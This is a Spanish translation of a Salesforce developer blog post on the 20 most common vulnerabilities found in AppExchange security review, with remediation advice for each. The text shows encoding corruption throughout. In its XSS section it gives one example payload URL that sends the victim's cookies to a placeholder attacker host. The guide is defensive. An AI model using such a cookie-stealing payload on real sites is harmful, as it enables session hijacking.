Skip to content

Etiqueta: Componente Lightning

La versi贸n Spring ’24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring '24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring ’24 ya est谩 aqu铆, y estos son algunos de los aspectos m谩s destacados de la versi贸n, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

The post Gu铆a para desarrolladores de Salesforce sobre la versi贸n Spring ’24 appeared first on Blog para desarrolladores de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

